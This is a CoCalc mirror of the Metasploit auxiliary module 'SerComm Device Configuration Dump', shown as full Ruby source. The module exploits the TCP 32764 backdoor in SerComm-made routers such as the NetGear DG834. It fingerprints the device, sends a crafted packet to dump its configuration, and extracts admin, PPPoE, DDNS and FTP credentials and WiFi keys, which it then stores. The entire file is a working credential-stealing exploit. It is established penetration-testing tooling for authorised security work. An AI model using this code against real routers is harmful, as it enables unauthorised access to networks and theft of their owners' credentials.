CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/misc/sercomm_dump_config.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Report
10
11
SETTINGS = {
12
'Creds' => [
13
[ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],
14
[ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],
15
[ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],
16
[ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],
17
[ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],
18
[ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras
19
[ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra
20
[ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],
21
[ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],
22
],
23
'General' => [
24
['Wifi SSID', /wifi_ssid=(\S+)/i],
25
['Wifi Key 1', /wifi_key1=(\S+)/i],
26
['Wifi Key 2', /wifi_key2=(\S+)/i],
27
['Wifi Key 3', /wifi_key3=(\S+)/i],
28
['Wifi Key 4', /wifi_key4=(\S+)/i],
29
['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]
30
]
31
}
32
33
attr_accessor :endianness
34
attr_accessor :credentials
35
36
def initialize(info={})
37
super(update_info(info,
38
'Name' => "SerComm Device Configuration Dump",
39
'Description' => %q{
40
This module will dump the configuration of several SerComm devices. These devices
41
typically include routers from NetGear and Linksys. This module was tested
42
successfully against the NetGear DG834 series ADSL modem router.
43
},
44
'License' => MSF_LICENSE,
45
'Author' =>
46
[
47
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
48
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
49
],
50
'References' =>
51
[
52
[ 'OSVDB', '101653' ],
53
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
54
],
55
'DisclosureDate' => '2013-12-31' ))
56
57
register_options(
58
[
59
Opt::RPORT(32764),
60
])
61
end
62
63
def run
64
print_status("Attempting to connect and check endianness...")
65
@endianness = fingerprint_endian
66
@credentials = {}
67
68
if endianness.nil?
69
print_error("Failed to check endianness, aborting...")
70
return
71
end
72
print_good("#{string_endianess} device found...")
73
74
print_status("Attempting to connect and dump configuration...")
75
config = dump_configuration
76
77
if config.nil?
78
print_status("Error retrieving configuration, aborting...")
79
return
80
end
81
82
loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")
83
print_good("Router configuration dump stored in: #{loot_file}")
84
85
parse_configuration(config[:data])
86
end
87
88
def report_cred(opts)
89
service_data = {
90
address: opts[:ip],
91
port: opts[:port],
92
service_name: opts[:service_name],
93
protocol: 'tcp',
94
workspace_id: myworkspace_id
95
}
96
97
credential_data = {
98
origin_type: :service,
99
module_fullname: fullname,
100
username: opts[:user],
101
private_data: opts[:password],
102
private_type: :password
103
}.merge(service_data)
104
105
login_data = {
106
core: create_credential(credential_data),
107
status: Metasploit::Model::Login::Status::UNTRIED,
108
proof: opts[:proof]
109
}.merge(service_data)
110
111
create_credential_login(login_data)
112
end
113
114
private
115
116
def little_endian?
117
return endianness == 'LE'
118
end
119
120
def big_endian?
121
return endianness == 'BE'
122
end
123
124
def string_endianess
125
if little_endian?
126
return "Little Endian"
127
elsif big_endian?
128
return "Big Endian"
129
end
130
131
return nil
132
end
133
134
135
def fingerprint_endian
136
begin
137
connect
138
sock.put(Rex::Text.rand_text(5))
139
res = sock.get_once(-1, 10)
140
disconnect
141
rescue Rex::ConnectionError => e
142
print_error("Connection failed: #{e.class}: #{e}")
143
return nil
144
end
145
146
unless res
147
return nil
148
end
149
150
if res.start_with?("MMcS")
151
return 'BE'
152
elsif res.start_with?("ScMM")
153
return 'LE'
154
end
155
156
return nil
157
end
158
159
def dump_configuration
160
if big_endian?
161
pkt = [0x4d4d6353, 0x01, 0x00].pack("NVV")
162
elsif little_endian?
163
pkt = [0x4d4d6353, 0x01, 0x00].pack("VNN")
164
else
165
return nil
166
end
167
168
connect
169
sock.put(pkt)
170
res = sock.get_once(-1, 10)
171
172
disconnect
173
174
if res.blank?
175
vprint_error("No answer...")
176
return
177
end
178
179
if big_endian?
180
mark, zero, length, data = res.unpack("NVVa*")
181
else
182
mark, zero, length, data = res.unpack("VNNa*")
183
end
184
185
unless mark == 0x4d4d6353
186
vprint_error("Incorrect mark when reading response")
187
return nil
188
end
189
190
unless zero == 0
191
vprint_error("Incorrect zero when reading response")
192
return nil
193
end
194
195
unless length == data.length
196
vprint_warning("Inconsistent length / data packet")
197
# return nil
198
end
199
200
return { :length => length, :data => data }
201
end
202
203
def parse_configuration(data)
204
configs = data.split(?\x00)
205
206
if datastore['VERBOSE']
207
vprint_status('All configuration values:')
208
configs.sort.each do |i|
209
if i.strip.match(/.*=\S+/)
210
vprint_status(i)
211
end
212
end
213
end
214
215
configs.each do |config|
216
parse_general_config(config)
217
parse_auth_config(config)
218
end
219
220
@credentials.each do |k,v|
221
next unless v[:user] and v[:password]
222
print_good("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
223
report_cred(
224
ip: rhost,
225
port: rport,
226
user: v[:user],
227
password: v[:password],
228
service_name: 'sercomm',
229
proof: v.inspect
230
)
231
end
232
233
end
234
235
def parse_general_config(config)
236
SETTINGS['General'].each do |regex|
237
if config.match(regex[1])
238
value = $1
239
print_status("#{regex[0]}: #{value}")
240
end
241
end
242
end
243
244
def parse_auth_config(config)
245
SETTINGS['Creds'].each do |cred|
246
@credentials[cred[0]] = {} unless @credentials[cred[0]]
247
248
# find the user/pass
249
if config.match(cred[1]['user'])
250
@credentials[cred[0]][:user] = $1
251
end
252
253
if config.match(cred[1]['pass'])
254
@credentials[cred[0]][:password] = $1
255
end
256
257
end
258
end
259
end
260
261